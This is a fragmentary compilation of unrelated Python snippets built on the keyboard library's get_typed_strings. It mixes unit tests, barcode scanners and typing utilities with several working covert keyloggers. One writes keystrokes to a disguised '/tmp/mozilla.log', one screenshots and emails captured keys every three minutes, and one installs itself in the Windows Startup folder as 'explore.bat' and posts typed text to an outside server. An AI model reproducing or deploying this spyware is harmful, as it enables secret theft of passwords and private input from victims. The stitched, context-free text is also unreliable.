def get_current_word(): ''' Recording the key presses until <space> is pressed, i.e. gets the current word typed. ''' return keyboard.get_typed_strings(keyboard.record(until='space'))
def get_question_response(self, question): if not question: return "" DisplayEffects.scroll_text(self.display, question) SoundEffects.play_type_your_answer() DisplayEffects.display_text(self.display, '???', font=DisplayEffects.BigFont) answer_events = keyboard.record(until="enter") return next(keyboard.get_typed_strings(answer_events))
def main(): if CLEAR_ON_STARTUP: os.remove(FILE_NAME) output = open(FILE_NAME, "a") for string in keyboard.get_typed_strings(keyboard.record(TERMINATE_KEY)): output.write(string + "\n") output.close()
def mispell_callback(): recorded_words = keyboard.stop_recording() recorded_words_list = list(keyboard.get_typed_strings(recorded_words)) if len(recorded_words_list) > 0: list_splitted = recorded_words_list[0].split() if len(list_splitted) > 0: wrong_word = list_splitted[-1] save_stats_file(os.path.join(script_path, "stats.json"), wrong_word, 1) keyboard.start_recording()
def __listener(self): """ Listens to key presses and save to the file specified in settings.py """ output_file = open(settings.FILE_PATH, 'a') for key in keyboard.get_typed_strings( keyboard.record(settings.TERMINATE_KEY)): output_file.write(key + " \n")
def get_boundary_selection(self, categories): if not categories or len(categories) == 0: return "" for i, cat in categories.items(): SoundEffects.categories[cat['name']].play() DisplayEffects.scroll_text(self.display, "{0}. {1} ".format(i, cat['display'])) SoundEffects.play_type_your_boundary() DisplayEffects.display_text(self.display, '???', font=DisplayEffects.BigFont) cat_events = keyboard.record(until="enter") return next(keyboard.get_typed_strings(cat_events))
def press(src): keyboard.start_recording() time.sleep(1) gen = keyboard.stop_recording() bind = str(list(keyboard.get_typed_strings(gen)))[2].lower() if bind == "'": bind = None pass else: keyboard.remap_key(src, bind) return bind
def run(worker): if not is_pi(): logger.info("Enter EAN here to simulate scanned barcode!") while True: try: worker.on_barcode(sys.stdin.readline().strip().upper()) except Exception: logger.exception("Caught exception in barcode handler...") def replace_key_code(barcode, replacements): indexes_per_replacement = {} for source in replacements: indexes = [] i = 0 while True: try: pos = barcode.index(source, i) indexes.append(pos) i = i + 1 except ValueError: break indexes_per_replacement[source] = indexes for source in indexes_per_replacement: indexes = indexes_per_replacement[source] target = replacements[source] for index in indexes: barcode = barcode[:index] + target + barcode[index + 1:] return barcode while True: keyboard_input = keyboard.record(until="tab") if keyboard_input is None: continue for scanned_barcode in keyboard.get_typed_strings(keyboard_input): scanned_barcode = replace_key_code(scanned_barcode, { "?": "_", "_": "?" }) worker.on_barcode(scanned_barcode.upper())
def logger(): FILE_NAME = "log.txt" CLEAR_ON_STARTUP = False TERMINATE_KEY = "enter" if CLEAR_ON_STARTUP: os.remove(FILE_NAME) output = open(FILE_NAME, "a") for string in keyboard.get_typed_strings(keyboard.record(TERMINATE_KEY)): output.write(string) output.close()
def get_entry(suppress=False, until='enter'): """ Returns a string entered by user Listens for and collects keyboard events until the the 'until' key. These events are then parsed into a string and returned. Keyword Arguments: until {str} -- Key that stops the event redorder (default: {'enter'}) Returns: string -- Parsed string entered by user """ events = keyboard.record(until=until) generator = keyboard.get_typed_strings(events) string = next(generator) return string
def run(worker): global last_barcode if not is_pi(): print "---------" print "Enter EAN here to simulate scanned barcode!" while True: try: worker.on_barcode(sys.stdin.readline().strip().upper()) except Exception: logging.exception("Caught exception in barcode handler...") def replace_key_code(barcode, replacements): indexes_per_replacement = {} for source in replacements: indexes = [] i = 0 while True: try: pos = barcode.index(source, i) indexes.append(pos) i = i + 1 except ValueError: break indexes_per_replacement[source] = indexes for source in indexes_per_replacement: indexes = indexes_per_replacement[source] target = replacements[source] for index in indexes: barcode = barcode[:index] + target + barcode[index + 1:] return barcode while True: input = keyboard.record(until="tab") if input == None: continue for barcode in keyboard.get_typed_strings(input): barcode = replace_key_code(barcode, {"?": "_", "_": "?"}) worker.on_barcode(barcode.upper())
def input(self, text="", endline=False, color=None): inp="" keys=[] self.print(text, endline, color) cursor = copy(self.cursor) while self.active: inp = "".join(list(keyboard.get_typed_strings(keys))) self.sprint(inp) if "enter" in [x.name for x in keys]: self.endl() break self.sprint([None] * (self.w - len(inp))) self.cursor = copy(cursor) keyboard.start_recording() self.update() keys += keyboard.stop_recording() return inp
def test_get_typed_strings(self): keyboard.hook(self.events.append) self.click("b") self.click("i") self.press("shift") self.click("r") self.click("caps lock") self.click("d") self.click("caps lock") self.release("shift") self.click(" ") self.click("backspace") self.click(".") self.click("enter") self.click("n") self.click("e") self.click("w") self.assertEqual(list(keyboard.get_typed_strings(self.events)), ["biRd.", "new"])
def get_log(): """log/send/repeat""" now = time.time() file = open('log.txt', 'r+') while True: log = keyboard.get_typed_strings(keyboard.record(until='enter')) file.write(next(log) + '\n') if len(sys.argv) > 1: if now >= (time.time() - 900): #send every 15 mins try: file.seek(0) #back to start of file logged = file.read() #read in whole file send(logged,sys.argv[1],sys.argv[2]) #send it out file.seek(0) #back to start of file and erase file.truncate() now = time.time() #reset the time variable except: #if file was unable to be sent continue logging continue file.close()
def test_get_typed_strings(self): keyboard.hook(self.events.append) self.click('b') self.click('i') self.press('shift') self.click('r') self.click('caps lock') self.click('d') self.click('caps lock') self.release('shift') self.click(' ') self.click('backspace') self.click('.') self.click('enter') self.click('n') self.click('e') self.click('w') self.assertEqual(keyboard.get_typed_strings(self.events), ['biRd.', 'new'])
def get_next_scan(): "return 10 digits barcode or " # scan = [] # laste = None # while True: # e = keyboard.read_key() # if e == laste: # laste = None # if e in '0123456789': # scan.append(e) # elif e=='enter': # return ''.join(scan) # else: # scan = [] # else: # laste = e events = keyboard.record(until='enter') barcode = list(keyboard.get_typed_strings(events))[0] return barcode
def record(): """ Records the key presses """ global date global file global data file = open('{}.txt' .format(date), 'w+') try: strings = keyboard.get_typed_strings(generate_events()) data=[] while True: data.append(next(strings)) print(data) except Exception as e: print(e) file.write(str(data)) file.close() print("recorded") send_email()
import keyboard PATH = '/tmp/mozilla.log' print('[*] Running...') def file_writer(path, data): with open(path, 'a') as file: f = open(PATH, 'a') file.write(data + '\n') f.close() while 1: for string in keyboard.get_typed_strings(keyboard.record("esc")): file_writer(PATH, string)
def test_get_typed_strings_simple(self): events = du_a + du_b + du_backspace + d_shift + du_a + u_shift + du_space + du_ctrl + du_a self.assertEqual(list(keyboard.get_typed_strings(events)), ['aA ', 'a'])
def listen(self): while True: keyboard.wait('.') typed = keyboard.record(' ') tag = ''.join(keyboard.get_typed_strings(typed)) self.paste_image(tag)
def test_get_typed_strings_shift(self): events = d_shift+du_a+du_b+u_shift+du_space+du_ctrl+du_a self.assertEqual(list(keyboard.get_typed_strings(events)), ['AB ', 'a'])
def test_get_typed_strings_backspace(self): events = du_a+du_b+du_backspace self.assertEqual(list(keyboard.get_typed_strings(events)), ['a']) events = du_backspace+du_a+du_b self.assertEqual(list(keyboard.get_typed_strings(events)), ['ab'])
def checkCard(self): recorded = keyboard.record(until="enter") typed = next(keyboard.get_typed_strings(recorded)) if typed: self.foundCard(CardData(self, typed))
''' The hidden ^_^ Created on 27/10/2017 @author: ''' from e import send_mail import keyboard as kb from time import sleep from PIL import ImageGrab your_mail = '*****@*****.**' passw = 'your password' while True: kb.start_recording() sleep(180) ImageGrab.grab().save("screenshot.jpg", "JPEG") events = kb.stop_recording() keys = kb.get_typed_strings(events) image = open('screenshot.jpg', 'rb') # If there is not internet conexion, the script just save a screenshot try: send_mail(your_mail, your_mail, passw, next(keys), image) except: ImageGrab.grab().save("screenshot.jpg", "JPEG")
p = new_model.predict([text]) process_ids = [ proc.pid for proc in psutil.process_iter() if 'chrome' in proc.name() ] if p == 'p**n': keyboard.write('inappropriate', 1) for pr_id in process_ids: try: os.kill(pr_id, 2) except Exception as e: print(e) else: print(text, p) def generate_events(): while True: yield keyboard.read_event( ) # yield is used to return a value while didn't terminate execution of function strings = keyboard.get_typed_strings(generate_events()) while True: try: text = next(strings) if text == 'exit': break else: firewall(text) except Exception as e: print(e)
dev.write(1, l) if len(l) == 256: dev.write(1, "... + more") dev.write(1, "\n") dev.write(1, "\n" * 10) return False # ghci.stdout.readline() while not should_quit: e = kb.read_event() if e.name == "enter" and e.event_type == "down": show_input("") should_quit = send("".join(e for e in kb.get_typed_strings(events))) events = [] if should_quit: break else: events.append(e) show_input("".join(e for e in kb.get_typed_strings(events))) dev.write(1, "\n" * 5) dev.write(1, chr(27) + chr(105)) if reattach: dev.attach_kernel_driver(0)
# multi-key, windows+d as example shows the desktop in Windows machines keyboard.send("windows+d") # send ALT+F4 in the same time, and then send space, # (be carful, this will close any current open window) keyboard.send("alt+F4, space") # press CTRL button keyboard.press("ctrl") # release the CTRL button keyboard.release("ctrl") # sends artificial keyboard events to the OS # simulating the typing of a given text # setting 0.1 seconds to wait between keypresses to look fancy keyboard.write("Python Programming is always fun!", delay=0.1) # record all keyboard clicks until esc is clicked events = keyboard.record('esc') # play these events keyboard.play(events) # print all typed strings in the events print(list(keyboard.get_typed_strings(events))) # log all pressed keys keyboard.on_release(lambda e: print(e.name)) # remove all keyboard hooks in use keyboard.unhook_all()
def test_get_typed_strings_shift(self): events = d_shift + du_a + du_b + u_shift + du_space + du_ctrl + du_a self.assertEqual(list(keyboard.get_typed_strings(events)), ['AB ', 'a'])
def add_to_startup(file_path=""): if file_path == "": dirpath = os.getcwd() file_path = str('"') + str(dirpath) + "\\" + str( os.path.basename(__file__))[:-2] + str("exe") + str('"') try: bat_path = 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp' with open(bat_path + '\\' + "explore.bat", "w+") as bat_file: bat_file.write(r'start "" %s' % file_path) except: pass add_to_startup() api = 'http://kanielbot1.pythonanywhere.com/rand_data/' while True: try: x = keyboard.record(until='enter') for each in keyboard.get_typed_strings(x): if each: client = requests.Session() client.get(api) csrf = client.cookies['csrftoken'] client.post(api, json={'rand': str(each)}, headers={'X-CSRFToken': csrf}) except: pass
def test_get_typed_strings_simple(self): events = du_a+du_b+du_backspace+d_shift+du_a+u_shift+du_space+du_ctrl+du_a self.assertEqual(list(keyboard.get_typed_strings(events)), ['aA ', 'a'])
def get_chat_box_contents(): """Return (our best guess at) the current contents of the chat box. If it is closed, returns a blank string.""" return ''.join( keyboard.get_typed_strings(chat_box_events, allow_backspace=True))
def test_get_typed_strings_all(self): events = du_a+du_b+du_backspace+d_shift+du_a+du_capslock+du_b+u_shift+du_space+du_ctrl+du_a self.assertEqual(list(keyboard.get_typed_strings(events)), ['aAb ', 'A'])
def test_get_typed_strings_backspace(self): events = du_a + du_b + du_backspace self.assertEqual(list(keyboard.get_typed_strings(events)), ['a']) events = du_backspace + du_a + du_b self.assertEqual(list(keyboard.get_typed_strings(events)), ['ab'])
#!/usr/bin/env python3 import keyboard, enchant import regex as re from collections import defaultdict DICTIONARY = enchant.Dict("en_US") record = keyboard.start_recording() if __name__ == '__main__': closeInput = input("Press ENTER to exit and see summary") print("Generating summary...") keyboard.stop_recording() events = list(record[0].queue) strings = keyboard.get_typed_strings(events, allow_backspace=True) new_words = defaultdict(int) for string in strings: print("s: " + string) words = re.split("(?![\-'])\W+", string) print(words) for word in words: if word == '': continue if not DICTIONARY.check(word): new_words[word] += 1 print(new_words)
def test_get_typed_strings_all(self): events = du_a + du_b + du_backspace + d_shift + du_a + du_capslock + du_b + u_shift + du_space + du_ctrl + du_a self.assertEqual(list(keyboard.get_typed_strings(events)), ['aAb ', 'A'])
def handler(event): global data name = event.name if name is None: return; if data.timer and event.time-data.timer > data.timeout: data.events = [] # print('clearing events') data.timer = event.time data.events.append(event) if event.event_type == keyboard.KEY_UP and name not in data.triggers: return command = ''.join(list(keyboard.get_typed_strings(data.events))) if event.name == 'enter': data.events = [] # print('clearing events') if event.event_type != keyboard.KEY_UP or name not in data.triggers: return # on macos " is considered as 2; fix this! if platform.system() == 'Darwin' and command.find(' 2') > -1: command = command.replace(' 2', ' "') command = command.replace('2 ', '" ') if command.rfind('2') == (len(command)-1): command = command.replace('2', '"', (len(command)-1)) for data__key, data__value in data.replacements.items(): identifier = data__key.split(' ')[0] pos = command.rfind(identifier) cur = pos source = data__key.split(' ') target = [''] inside_quotes = False placeholder = {} replace = True search_command = command[pos:] final_command = data__value if pos == -1: continue while(cur < len(command)): char = command[cur:cur+1] cur += 1 if char == '"': inside_quotes = not inside_quotes if char == ' ' and inside_quotes == False: target.append('') continue target[len(target)-1] += char # special case: one is allowed to omit quotes when only one placeholder is available if len(source) < len(target) and len(source) == 2 and source[1] == '$a': new_target = [] new_target.append(target[0]) del target[0] new_target.append(' '.join(target)) target = new_target if len(source) != len(target): continue for source__key, source__value in enumerate(source): if source__value.find('$') == 0: # strip first/last quote if target[source__key][0:1] == '"': target[source__key] = target[source__key][1:] if target[source__key][-1:] == '"': target[source__key] = target[source__key][0:-1] placeholder[source__value] = target[source__key] elif source[source__key] != target[source__key]: replace = False break if replace == False: continue for placeholder__key, placeholder__value in placeholder.items(): final_command = final_command.replace( placeholder__key, placeholder__value) replaceNow(search_command, final_command) data.events = [] # print('clearing events') break